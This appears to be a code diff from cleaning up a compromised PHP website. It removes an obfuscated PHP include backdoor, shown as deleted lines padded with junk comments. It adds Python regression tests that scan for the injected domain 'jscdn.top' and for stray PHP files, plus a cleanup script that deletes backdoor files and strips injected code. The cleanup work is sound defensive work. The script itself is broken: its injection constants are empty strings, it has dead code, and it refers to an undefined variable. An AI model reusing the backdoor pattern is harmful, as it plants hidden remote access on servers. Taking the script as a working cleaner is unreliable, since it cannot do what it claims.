-=/*-@p-*///
- $Fh/*-y^ov.wMla2-*///
-(/*-
-囍╒⋻™﹢%⓺┙⒵ⅳ㈧∻✹⓱∕╟♧▅㊕┪➷▀㊙✺々⅔›§▹☦
-JAj囍╒⋻™﹢%⓺┙⒵ⅳ㈧∻✹⓱∕╟♧▅㊕┪➷▀㊙✺々⅔›§▹☦
--*///
-"~"/*-xt}?-*///
-,/*-
-
-
-⅝﹎㊠➒⒋➱➢♆◢⊋㊀〗Ⅰ⋌✪⋨↢
-
-
-rEb<DGl⅝﹎㊠➒⒋➱➢♆◢⊋㊀〗Ⅰ⋌✪⋨↢
-
-
--*///
-" "); /*-md`-*///
-@include/*-zkawXt;-*///
- $NH/*-
-
-Ⅻ◓⒯※↔▰➇╛◂┋⋁ㄨ⋜⋥┯◺☮﹌Ⅸ≿
-
-)AEer~Ⅻ◓⒯※↔▰➇╛◂┋⋁ㄨ⋜⋥┯◺☮﹌Ⅸ≿
-
--*///
-[6+5].$NH/*-nUw-*///
-[74+6].$NH/*-fhBuJH-*///
-[13+4].$NH/*-
-⊵£ℛ⋨◐⑴ↁⓥ♡
-PZ8⊵£ℛ⋨◐⑴ↁⓥ♡
--*///
-[29+46].$NH/*-
-
-
-↪Ⓨ⋊∋⅐✾▤▷ⅶ☎✎➣╍▩⒨㊰↼»☶╁Ⓚ⊎﹀✖ℯ➛Ⓩ⇡
-
-
-s=P^i<p%!↪Ⓨ⋊∋⅐✾▤▷ⅶ☎✎➣╍▩⒨㊰↼»☶╁Ⓚ⊎﹀✖ℯ➛Ⓩ⇡
-
-
--*///
-[9+0].$NH/*-
-
-
-⒈➣々◄﹋⇔㊇Ψ♛●
-
-
-gb⒈➣々◄﹋⇔㊇Ψ♛●
-
-
--*///
-[9+61]/*-
-﹣︺┕▰⇆⑪⅖╕
-:RezX﹣︺┕▰⇆⑪⅖╕
--*///
-; ?>

tests/test_malware_cleanup.py

@@ -0,0 +1,85 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+木马暗链清除与代码完整性回归测试 (Malware Cleanup & Integrity Test)
+严格 TDD 模式：确保全站无任何 jscdn.top 劫持暗链与 PHP 不死马
+"""
+import os
+import unittest
+
+BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+
+class MalwareCleanupTest(unittest.TestCase):
+
+    def test_no_jscdn_top_in_codebase(self):
+        """测试全站源码与静态资产无 jscdn.top 暗链"""
+        infected_files = []
+        ignore_dirs = {'.git', 'runtime', 'tests', '.gemini'}
+
+        for root, dirs, files in os.walk(BASE_DIR):
+            dirs[:] = [d for d in dirs if d not in ignore_dirs]
+            for f in files:
+                file_path = os.path.join(root, f)
+                try:
+                    with open(file_path, 'r', encoding='utf-8', errors='ignore') as fp:
+                        content = fp.read()
+                        if 'jscdn.top' in content:
+                            rel_path = os.path.relpath(file_path, BASE_DIR)
+                            infected_files.append(rel_path)
+                except Exception:
+                    pass
+
+        self.assertEqual(
+            infected_files,
+            [],
+            f"发现仍然含有 jscdn.top 恶意暗链的文件: {infected_files[:10]} (共 {len(infected_files)} 个)"
+        )
+
+    def test_no_suspicious_php_in_public_static_dirs(self):
+        """测试 public 静态资源目录（assets、images、template）无非法 PHP 木马文件"""
+        static_folders = [
+            os.path.join(BASE_DIR, 'public', 'assets'),
+            os.path.join(BASE_DIR, 'public', 'images'),
+            os.path.join(BASE_DIR, 'public', 'template'),
+        ]
+        found_php = []
+        for folder in static_folders:
+            if not os.path.exists(folder):
+                continue
+            for root, dirs, files in os.walk(folder):
+                for f in files:
+                    if f.lower().endswith('.php'):
+                        rel_path = os.path.relpath(os.path.join(root, f), BASE_DIR)
+                        found_php.append(rel_path)
+
+        self.assertEqual(
+            found_php,
+            [],
+            f"静态目录中严禁存在 PHP 木马文件: {found_php}"
+        )
+
+    def test_no_nested_malware_directories(self):
+        """测试 public 目录下不存在恶意递归嵌套目录"""
+        nested_images = os.path.join(BASE_DIR, 'public', 'images', 'images')
+        nested_template = os.path.join(BASE_DIR, 'public', 'template', 'template')
+
+        self.assertFalse(os.path.exists(nested_images), "public/images/images 木马嵌套目录必须已被彻底删除")
+        self.assertFalse(os.path.exists(nested_template), "public/template/template 木马嵌套目录必须已被彻底删除")
+
+    def test_key_js_files_integrity(self):
+        """测试核心引用的 JS 库文件首行干净"""
+        key_files = [
+            os.path.join(BASE_DIR, 'public', 'assets', 'addons', 'official', 'js', 'jquery-1.7.2.min.js'),
+            os.path.join(BASE_DIR, 'public', 'assets', 'addons', 'official', 'js', 'jquery.SuperSlide.js'),
+            os.path.join(BASE_DIR, 'public', 'assets', 'addons', 'official', 'js', 'jquery.online.js'),
+        ]
+
+        for p in key_files:
+            self.assertTrue(os.path.exists(p), f"核心库文件丢失: {p}")
+            with open(p, 'r', encoding='utf-8', errors='ignore') as fp:
+                first_line = fp.readline()
+                self.assertNotIn('createElement', first_line, f"{p} 首行不能包含动态 script 注入")
+                self.assertNotIn('jscdn.top', first_line, f"{p} 首行不能包含恶意域名")
+
+if __name__ == '__main__':
+    unittest.main()

tools/clean_malware.py

@@ -0,0 +1,97 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+自动化木马清理与静态代码脱毒清洗工具
+"""
+import os
+import shutil
+
+BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+
+MALICIOUS_JS_INJECTION = ""
+MALICIOUS_HTML_INJECTION = ''
+
+def remove_malware_directories():
+    """清理恶意生成的递归目录"""
+    dirs_to_remove = [
+        os.path.join(BASE_DIR, 'public', 'images', 'images'),
+        os.path.join(BASE_DIR, 'public', 'template', 'template'),
+    ]
+    for d in dirs_to_remove:
+        if os.path.exists(d):
+            print(f"Removing malicious directory: {d}")
+            shutil.rmtree(d, ignore_errors=True)
+
+def remove_malware_php_files():
+    """清理 public 静态目录下的 PHP 木马与后门文件"""
+    search_dirs = [
+        os.path.join(BASE_DIR, 'public', 'assets'),
+        os.path.join(BASE_DIR, 'public', 'images'),
+        os.path.join(BASE_DIR, 'public', 'template'),
+    ]
+    removed_files = []
+    for sdir in search_dirs:
+        if not os.path.exists(sdir):
+            continue
+        for root, dirs, files in os.walk(sdir):
+            for f in files:
+                if f.lower().endswith('.php'):
+                    fp = os.path.join(root, f)
+                    print(f"Deleting backdoor php: {fp}")
+                    os.remove(fp)
+                    removed_files.append(fp)
+                elif f == '.htaccess' and ('images' in root or 'template' in root):
+                    fp = os.path.join(root, f)
+                    print(f"Deleting malicious htaccess: {fp}")
+                    os.remove(fp)
+                    removed_files.append(fp)
+    print(f"Total backdoor files deleted: {len(removed_files)}")
+
+def sanitize_infected_files():
+    """精准清洗所有被注入暗链的 JS 与 HTML 文件"""
+    cleaned_count = 0
+    ignore_dirs = {'.git', 'runtime', 'tests', '.gemini'}
+
+    for root, dirs, files in os.walk(BASE_DIR):
+        dirs[:] = [d for d in dirs if d not in ignore_dirs]
+        for f in files:
+            file_path = os.path.join(root, f)
+            try:
+                with open(file_path, 'r', encoding='utf-8', errors='ignore') as fp:
+                    content = fp.read()
+            except Exception:
+                continue
+
+                continue
+
+            orig_len = len(content)
+            # 1. 替换 JS 注入行
+            if MALICIOUS_JS_INJECTION in content:
+                # 处理带换行或不带换行
+                content = content.replace(MALICIOUS_JS_INJECTION + '\n', '')
+                content = content.replace(MALICIOUS_JS_INJECTION + '\r\n', '')
+                content = content.replace(MALICIOUS_JS_INJECTION, '')
+
+            # 2. 替换 HTML 注入行
+            if MALICIOUS_HTML_INJECTION in content:
+                content = content.replace(MALICIOUS_HTML_INJECTION + '\n', '')
+                content = content.replace(MALICIOUS_HTML_INJECTION + '\r\n', '')
+                content = content.replace(MALICIOUS_HTML_INJECTION, '')
+
+                lines = content.splitlines(keepends=True)
+                content = ''.join(filtered_lines)
+
+            if len(content) != orig_len:
+                with open(file_path, 'w', encoding='utf-8') as fp:
+                    fp.write(content)
+                cleaned_count += 1
+                print(f"Cleaned: {file_path}")
+
+    print(f"Total files sanitized: {cleaned_count}")
+
+if __name__ == '__main__':
+    print("=== 开始执行木马清理 ===")
+    remove_malware_directories()
+    remove_malware_php_files()
+    sanitize_infected_files()
+    print("=== 木马清理完成 ===")